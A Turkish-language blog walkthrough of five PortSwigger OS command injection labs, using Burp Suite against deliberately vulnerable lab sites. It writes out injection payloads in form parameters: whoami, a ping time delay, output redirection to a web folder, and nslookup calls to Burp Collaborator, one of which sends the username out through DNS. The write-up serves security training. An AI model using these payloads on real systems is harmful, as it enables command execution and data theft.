Arif ARI
6 min readJan 30, 2022

PORTSWIGGER WEB SECURITY - OS COMMAND INJECTION LAB ÇÖZÜMLERİ

OS Command Injection, bir web uygulama sunucusunda, saldırganın rastgele işletim sistemi (OS) komutları çalıştırmasına ve uygulama verilerinin güvenliğini tehlikeye atmasına olanak tanıyan bir web güvenlik zafiyetidir. Yetersiz giriş doğrulamaları nedeniyle bir saldırgan, shell (kabuk) düzeyinde çalıştırılmak üzere kendi komutlarını enjekte edebilir ve command injection saldırısı gerçekleştirebilir.

Bu çalışmada bahsedilen OS Command Injection zafiyeti için tüm laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..

Lab 1: OS command injection, simple case

Kullanıcının, bir öğenin stokta olup olmadığını görüntülemesini sağlayan bir alışveriş uygulaması düşünelim.

Herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım.

Ürün hakkında detaylı bir açıklama yapılmaktadır. Ayrıca bu ürün belirtilen şehirde var mı? varsa stokta kaç adet var? bunun sorgulaması yapılabilmektedir. Örneğin London şehri için stoktaki ürün adedi 32'dir. Bu bilgiye https://insecure-website.com/stockStatus?productID=2&storeID=1 gibi bir URL aracılığıyla erişilmektedir. Ürün ID’si 2 ve mağaza ID’si 1 olan ürün çağrılmaktadır. Şimdi Check stock butonu ile isteği tekrar gönderelim ve burp suite aracıyla inceleyelim.

Gönderilen isteğimiz ekrandaki gibidir. İki adet input parametresi (productId ve storeId) üzerinden istek gönderilmektedir. Bu parametreler üzerinde komut çalıştırmayı deneyeceğiz.

whoami komutu çağrıldığı zaman bize mevcut kullanıcının adını verecektir. productId parametresi için denendiğinde bir hata mesajı almaktayız fakat storeId parametresine whoami komutunu ekleyip isteği send ettiğimizde komutumuzun çalıştığını ve mevcut kullanıcının adının peter-NQxroe olduğunu öğrenmiş olacağız.

Congratulations, you solved the lab!

Lab 2: Blind OS command injection with time delays

Bu laboratuvarda, çalıştıracağımız komut ile sayfanın geç yanıt döndürmesine bağlı olarak command injection zafiyetinin varlığını tespit edeceğiz.

Bu web sayfası kullanıcıların site hakkında geri bildirim göndermesine olanak tanımaktadır. Ekranda görüldüğü gibi kullanıcı gerekli bilgileri girdikten sonra bir geri bildirim mesajı gönderir. Geri bildirim mesajını submit edelim ve bu isteği burp suite aracıyla inceleyelim.

Gönderilen bütün bilgiler istek üzerinde açık bir şekilde görülmektedir.

name parametresine | karakterini eklediğimizde sayfadan hata mesajı alırken çift || karakterini eklediğimizde hata mesajı almıyoruz.

Fakat email parametresi için her iki yöntemi de denediğimizde hata mesajı almaktayız.

Dolayısıyla çalıştıracağımız komutu whoami çift || karakterleri arasında email parametresine ekleyelim. Bu şekilde hata almıyoruz ve sayfanın geç cevap vermesine neden olacak komut satırımızı bu şekilde çalıştırabiliriz.

Kullanıcı e-posta adresini ve geri bildirim mesajını submit ettikten sonra, sunucu site yöneticisine geri bildirimi içeren bir e-posta mesajı oluşturur. Posta mesajının bir çıktısı varsa uygulamanın yanıtında döndürülmez ve bu nedenle echo komutunu kullanmak etkili olmayacaktır. Bu nedenle farklı bir teknik kullanmakta fayda var. Sayfanın geç yanıt vermesine sebep olacak bir ping komutu çalıştırabiliriz. email parametresine ||ping+-c+10+127.0.0.1|| komut satırını ekleyerek sayfanın 10 saniyelik bir gecikmeyle yanıt vermesini sağlıyoruz ve zafiyetin varlığını tespit ediyoruz.

Congratulations, you solved the lab!

Lab 3: Blind OS command injection with output redirection

Uygulama, katalogda yer alan ürün görüntülerini /var/www/images/ konumundan sunmaktadır. jpg dosyaları bu dizinde tutulmaktadır. Bu dosya yolunu kullanarak command injection saldırısı gerçekleştireceğiz.

whoami komutunu çalıştırdığımızda hata mesajı almayacağız fakat herhangi bir kullanıcı bilgisi dönmeyecektir. Bu nedenle email parametresine ||whoami>/var/www/images/output.txt|| komut satırını ekleyerek send ediyoruz. Burada images dizini altında output.txt adlı bir dosya oluşturmasını ve mevcut kullanıcı adını bu dosyaya yazmasını belirttik.

Ardından sayfa üzerinde herhangi bir ürün dosyasını görüntülemek için istekte bulunalım ve burp aracıyla inceleyelim. filename parametresi ile 42.jpg dosyasının çağrıldığını görmekteyiz.

jpg dosyaları ile output.txt dosyasının konumu aynıdır. filename parametresi altında 42.jpg dosyası yerine output.txt dosyasını tanımlayarak isteği send edelim. Sayfadan aldığımız yanıt ile mevcut kullanıcı adının (peter-Yo47dI) olduğunu öğrenebiliriz.

Congratulations, you solved the lab!

Lab 4: Blind OS command injection with out-of-band interaction

Bu laboratuvarda harici bir domain adresine DNS araması yapacağız. Yapacağımız bu DNS aramasının gerçekleştiğini izleyebilir ve böylece komutun başarıyla enjekte edildiğini algılayabiliriz. DNS araması yapmak için de Burp Collaborator istemcisinden bir domain adresi alacağız ve nslookup komutunu kullanarak saldırı gerçekleştireceğiz.

Submit feedback sayfasında gerekli bilgileri girdikten sonra geri bildirim mesajını submit edelim ve bu isteği burp suite aracıyla inceleyelim.

Gönderilen bütün bilgiler istek üzerinde açık bir şekilde görülmektedir.

Alıntı Ekran

Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi (b8kjqqlms3icpzgr2whwqkeq5wvkk.burpcollaborator.net) kopyalıyoruz ve ardından email parametresine ||nslookup+b8kjqqlms3icpzgr2whwqkeq5wvkk.burpcollaborator.net|| şeklinde komut satırımızı ekliyoruz.

İsteği forward ediyoruz.

Alıntı Ekran

İsteği forward ettikten sonra Burp Collaborator client bölümünden yaptığımız DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. Laboratuvarın çözümü bu şekildedir.

Lab 5: Blind OS command injection with out-of-band data exfiltration

Önceki bölümde harici bir domain adresine DNS araması yapmıştık. Burada farklı olarak yapacağımız işlem, yaptığımız DNS araması sonucu mevcut kullanıcı bilgisini öğrenmek olacaktır.

Submit feedback sayfasında gerekli bilgileri girdikten sonra geri bildirim mesajını submit edelim ve bu isteği burp suite aracıyla inceleyelim.

Gönderilen bütün bilgiler istek üzerinde açık bir şekilde görülmektedir.

Alıntı Ekran

Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi (nb2ybslt4lszrde0eztxoyhjza50tp.burpcollaborator.net) kopyalıyoruz ve ardından email parametresine ||nslookup+’whoami’.nb2ybslt4lszrde0eztxoyhjza50tp.burpcollaborator.net|| şeklinde komut satırımızı ekliyoruz. Bu komut satırı ile arama sonucunda domain adresinin ilk bölümünde mevcut kullanıcı adının bilgisi yer alacaktır.

İsteği forward ediyoruz.

Alıntı Ekran

İsteği forward ettikten sonra yaptığımız DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. Sızan veriler dahil olmak üzere herhangi bir DNS etkileşiminin ayrıntılarını almak için Collaborator sunucusunu yoklamamız gerekmektedir. DNS aramasının detayını incelediğimizde, ‘peter-qyzjrH.nb2ybslt4lszrde0eztxoyhjza50tp.burpcollaborator.net’ domain adının ilk başlığı mevcut kullanıcı bilgisidir.

Submit solution bölümünden kullanıcı bilgisini girdikten sonra son laboratuvarımızı da çözmüş oluyoruz.

NOT : Burp Collaborator client bölümü Burp Suite aracının pro versiyonunda mevcuttur ve son iki laboratuvar free versiyonu ile yapılamamaktadır. Dolayısıyla son iki laboratuvardaki ekran görüntülerinde alıntı yapılmıştır.

Arif ARI
Arif ARI

No responses yet